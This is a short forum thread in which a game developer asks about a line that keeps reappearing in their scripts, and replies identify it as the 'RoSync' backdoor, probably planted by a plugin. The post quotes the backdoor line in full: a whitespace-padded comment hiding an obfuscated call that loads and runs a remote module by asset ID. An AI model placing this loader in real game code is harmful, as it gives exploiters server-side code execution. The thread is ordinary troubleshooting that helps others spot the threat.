What's "Rosync"

Hi!
I recently noticed my output being filled up with “Requested module experienced error while loading”
I then found it always is because of this line -

--[[ Last synced 9/3/2022 01:16                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722592696) --[[           

What is it? Every time I delete it, it just reappears, it hasn’t caused any serious issues or anything, it just clogs up my output.
Should I be worried? I don’t have any plugins nor does anyone else that could do this.

I think the only way this could happen is through a plugin.

Check PLUGINS>Manage Plugins to be sure.

RoSync is a backdoor, a backdoor being something that allows exploiters to run code on the server.

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